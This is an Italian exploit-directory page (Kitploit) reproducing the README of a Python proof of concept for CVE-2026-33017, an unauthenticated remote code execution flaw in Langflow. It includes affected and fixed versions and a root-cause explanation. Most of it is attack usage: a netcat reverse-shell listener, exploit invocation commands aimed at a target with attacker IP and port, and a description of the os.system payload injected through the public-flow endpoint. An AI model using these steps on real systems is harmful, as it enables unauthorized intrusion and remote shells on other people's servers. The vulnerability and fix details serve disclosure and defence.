Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-33017 — POC Python, Exploit per CVE-2026-33017 | Kitploit
Strumenti/GitHubGitHub/c0gnit00/cve-2026-33017
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneStrumento di Accesso Remoto
GitHubc0gnit00/cve-2026-33017

CVE-2026-33017

POC Python, Exploit per CVE-2026-33017

Vedi Repository
21 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-33017 - RCE senza autenticazione in Langflow

⚠️ AVVERTENZA: Questo repository è destinato esclusivamente a test di sicurezza autorizzati e a scopi educativi. Utilizzare solo su sistemi di cui si è proprietari o su cui si ha esplicita autorizzazione al test. L'autore non è responsabile per qualsiasi uso improprio o danno causato da questo strumento.

Panoramica

CVE-2026-33017 è una vulnerabilità di esecuzione remota di codice senza autenticazione in Langflow, un framework visivo per creare applicazioni LangChain.

L'endpoint POST /api/v1/build_public_tmp/{flow_id}/flow consente di creare flussi pubblici senza autenticazione. Quando viene fornito il parametro opzionale data, l'endpoint utilizza i dati del flusso controllati dall'attaccante (contenenti codice Python arbitrario nelle definizioni dei nodi) invece dei dati del flusso memorizzati nel database. Questo codice viene passato a exec() senza alcuna sandbox, provocando l'esecuzione remota di codice non autenticata.

Versioni interessate

  • Langflow <= 1.7.3
  • Risolto in Langflow >= 1.8.2

Prerequisiti per lo sfruttamento

  1. L'istanza di Langflow bersaglio ha almeno un flusso pubblico (comune per demo, chatbot, flussi condivisi)
  2. L'attaccante conosce l'UUID del flusso pubblico (rilevabile tramite link/URL condivisi)
  3. Nessuna autenticazione richiesta — solo un cookie client_id (qualsiasi valore stringa arbitrario)

Installazione

root@kitploit:~
git clone https://github.com/<your-username>/CVE-2026-33017.git
cd CVE-2026-33017
pip install requests

Utilizzo

1. Configura un listener

Sulla tua macchina attaccante, avvia un listener netcat per catturare la reverse shell:

root@kitploit:~
nc -lvnp 4444

2. Esegui l'exploit

root@kitploit:~
python3 CVE-2026-33017.py --url http://target:7860 --flow-id <UUID> --lhost <YOUR_IP> --lport 4444

Argomenti

Esempio

root@kitploit:~
# Terminale 1: Avvia il listener
nc -lvnp 4444

# Terminale 2: Lancia l'exploit
python3 CVE-2026-33017.py \
    --url http://192.168.1.100:7860 \
    --flow-id 550e8400-e29b-41d4-a716-446655440000 \
    --lhost 10.0.0.5 \
    --lport 4444

Come funziona

  1. craft_malicious_node() — Costruisce un nodo Langflow malevolo contenente un CustomComponent con codice Python controllato dall'attaccante. Il codice include una chiamata os.system() a livello superiore che viene eseguita durante la costruzione del grafo (prima ancora che il flusso "venga eseguito").

  2. fire_payload() — Invia il nodo malevolo come JSON all'endpoint non autenticato build_public_tmp con un cookie client_id casuale.

  3. Esecuzione del codice — Il server analizza i dati del flusso forniti dall'attaccante, istanzia il componente personalizzato e chiama exec() sul codice incorporato durante prepare_global_scope(). L'assegnazione a livello superiore _r = __import__('os').system(...) attiva immediatamente l'esecuzione del comando.

  4. Reverse Shell — Il payload genera una reverse shell Python che si connette al tuo listener.

Dettagli della vulnerabilità

Causa principale

L'endpoint build_public_tmp è progettato per essere non autenticato (per flussi pubblici), ma accetta erroneamente dati del flusso forniti dall'attaccante tramite il parametro data. Quando viene fornito data, bypassa i dati del flusso memorizzati e passa i nodi controllati dall'attaccante direttamente al costruttore del grafo.

Correzione consigliata

Rimuovere il parametro data da build_public_tmp. I flussi pubblici dovrebbero eseguire solo i propri dati di flusso memorizzati nel database, mai dati forniti dall'attaccante.

Riferimenti

  • NVD - CVE-2026-33017
  • Langflow Release 1.8.2

Licenza

Questo progetto è fornito esclusivamente per scopi educativi e di test di sicurezza autorizzati.

Scarica lo strumento
ArgomentoRichiestoDescrizione
--urlSìURL del bersaglio (es. http://localhost:7860)
--flow-idSìUUID del flusso pubblico
--lhostSìIl tuo indirizzo IP del listener
--lportSìLa tua porta del listener
--timeoutNoTimeout della richiesta in secondi (default: 15)